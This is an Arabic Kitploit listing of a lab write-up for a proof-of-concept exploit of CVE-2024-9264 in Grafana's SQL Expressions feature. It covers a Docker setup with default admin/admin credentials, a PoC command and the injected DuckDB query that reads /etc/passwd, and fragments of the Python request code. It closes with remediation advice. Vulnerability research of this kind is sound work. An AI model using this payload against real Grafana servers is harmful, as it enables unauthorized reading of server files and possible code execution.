Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-9264 — استغلال PoC لـ CVE-2024-9264: ثغرة تعبير SQL في Grafana تتيح تضمين الملفات المحلية وتنفيذ الكود عن بُعد عبر حقن SQL في DuckDB. يتضمن إعداد مختبر Docker وسكريبت استغلال بايثون. | Kitploit
أدوات/GitHubGitHub/yeonchoda/cve-2024-9264
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubyeonchoda/cve-2024-9264

CVE-2024-9264

استغلال PoC لـ CVE-2024-9264: ثغرة تعبير SQL في Grafana تتيح تضمين الملفات المحلية وتنفيذ الكود عن بُعد عبر حقن SQL في DuckDB. يتضمن إعداد مختبر Docker وسكريبت استغلال بايثون.

عرض المستودع
منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-9264

المراجع https://github.com/vulhub/vulhub/tree/master/grafana/CVE-2024-9264

1. ملخص الثغرة

العنصرالمحتوى
CVECVE-2024-9264
الهدفGrafana (SQL Expressions)
التأثيرLocal File Inclusion(LFI), Remote Code Execution(RCE)
الخطورةCritical (CVSS 9.9)
شروط الهجوممستخدم موثوق (صلاحيات المسؤول)
طريقة الهجوماستغلال ميزة SQL Expressions لتنفيذ DuckDB SQL

Grafana هي أداة مراقبة مفتوحة المصدر تعمل على تصور البيانات المختلفة مثل الخوادم والتطبيقات وقواعد البيانات في شكل رسوم بيانية ولوحات تحكم سهلة القراءة في لمحة واحدة.

CVE-2024-9264 هي ثغرة تنشأ في ميزة SQL Expressions في Grafana.

بسبب عدم التحقق بشكل صحيح من DuckDB SQL المستخدم داخليًا في Grafana، يمكن للمهاجم تنفيذ أي DuckDB SQL من خلال SQL Expression.

باستخدام ذلك، يمكن:

  • قراءة الملفات المحلية للخادم (LFI)
  • تنفيذ أوامر النظام (RCE)
  • تسريب المعلومات الحساسة

وغيرها.

في هذه التجربة العملية، تم تشغيل Grafana 11.0.0 في بيئة Docker ثم إعادة إنتاج الثغرة باستخدام PoC عن طريق قراءة ملف /etc/passwd.


2. تكوين البيئة

بيئة التجربة

المكونالمحتوى
OSUbuntu
DockerDocker Compose
Grafana11.0.0

تنزيل المستودع

root@kitploit:~
git clone https://github.com/yeonchoda/CVE-2024-9264
cd CVE-2024-9264

تشغيل Docker

root@kitploit:~
docker-compose up

التحقق من تشغيل Grafana

root@kitploit:~
http://localhost:3000

تشغيل Grafana

معلومات الحساب الافتراضية لـ Grafana هي كما يلي:

root@kitploit:~
ID : admin
PW : admin

3. شروط الثغرة

لكي تحدث الثغرة، يجب توفر الشروط التالية:

  • استخدام إصدار ضعيف من Grafana
  • إمكانية استخدام ميزة SQL Expressions
  • إمكانية تسجيل دخول المهاجم إلى Grafana
  • تفعيل DuckDB SQL Expression

في هذه التجربة، تم استخدام حساب المسؤول الافتراضي (admin/admin).


4. إعادة الإنتاج

تشغيل PoC

لقراءة ملف محلي، تم تنفيذ الأمر التالي:

root@kitploit:~
python3 PoC.py -u http://localhost:3000 -f "/etc/passwd"

يقوم PoC بإنشاء SQL Expression التالية:

root@kitploit:~
SELECT * FROM read_csv_auto('/etc/passwd')

ثم يتم إرسالها إلى API /api/ds/query في Grafana.


التحقق من النتيجة

قام Grafana بتنفيذ SQL كما هو وأعاد محتوى /etc/passwd كاستجابة.

تشغيل PoC.py

يمكن أيضًا قراءة ملفات أخرى غير /etc/passwd.

عرض /etc/group

من خلال ذلك، تم التأكد من نجاح تضمين الملف المحلي (Local File Inclusion).


5. كود PoC

تم كتابة PoC بلغة Python ويقوم بالخطوات التالية:

  1. استدعاء API Grafana (/api/ds/query)
  2. إنشاء SQL Expression
  3. إرسال الطلب بصيغة JSON
  4. تحليل الاستجابة (JSON)
  5. طباعة محتوى الملف

SQL الذي يتم إنشاؤه عند قراءة ملف هو كما يلي:

root@kitploit:~
sql_query = f"SELECT * FROM read_csv_auto('{args.file}')"

يتم إرسال طلب API كما يلي:

root@kitploit:~
response = requests.post(
    api_url,
    auth=(username, password),
    headers=headers,
    data=json.dumps(payload),
    verify=False
)

يمكن أيضًا التحقق من ذلك باستخدام أمر curl. curl

6. إجراءات الإصلاح

1. تحديث Grafana إلى أحدث إصدار

أكثر طريقة فعالة هي التحديث إلى أحدث إصدار تم فيه إصلاح الثغرة.


2. تقييد ميزة SQL Expressions

تعطيل ميزة SQL Expressions غير الضرورية أو تطبيق مبدأ الحد الأدنى من الصلاحيات لتقييد نطاق الاستخدام.


3. حماية حساب المسؤول

  • تغيير الحساب الافتراضي (admin/admin)
  • استخدام كلمة مرور قوية
  • تقليل حسابات المسؤول إلى الحد الأدنى

الخاتمة

بعد إنشاء Grafana 11.0.0 في بيئة Docker، تم إعادة إنتاج ثغرة CVE-2024-9264.

باستخدام PoC المكتوب بلغة Python، تم استغلال ميزة SQL Expression وقراءة ملف /etc/passwd بنجاح.

من خلال ذلك، تم التأكد من أنه في حالة عدم كفاية التحقق من الإدخال لـ SQL Expression، يمكن أن تتعرض الملفات الحساسة للكشف، وفي بعض البيئات قد يؤدي ذلك إلى تنفيذ كود عن بعد. يمكن منع هذه الثغرة من خلال تدابير أمنية مثل التحديث إلى أحدث إصدار، تقييد ميزة SQL Expressions، وحماية حسابات المسؤول.

تنزيل الأداة